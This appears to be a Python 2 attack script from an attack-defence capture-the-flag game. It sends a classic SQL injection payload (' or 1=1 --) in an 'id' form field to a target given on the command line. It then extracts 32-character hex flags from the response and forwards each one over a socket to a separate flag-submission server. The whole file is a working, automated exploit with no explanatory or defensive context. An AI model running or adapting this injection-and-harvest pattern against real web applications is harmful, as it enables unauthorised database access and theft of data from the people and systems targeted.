import requests
import re
import sys
import socket

data=requests.post("http://"+sys.argv[1],data={'id':'\' or 1=1 -- comment'})
flags=re.findall(r"([a-fA-F\d]{32})", data.text)

print flags

TEAMID="192.168.59.104"
HOST = '192.168.59.103'    # The remote host
PORT = 9999              # The same port as used by the server
for flag in flags:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((HOST, PORT))
	msg = s.recv(1024)
	print msg
	s.send(str(TEAMID)+"\n")
	msg2 = s.recv(1024)
	print msg2
	s.send(flag+"\n")
	msg3 = s.recv(1024)
	print msg3
	s.close()
print 'Received', repr(data)
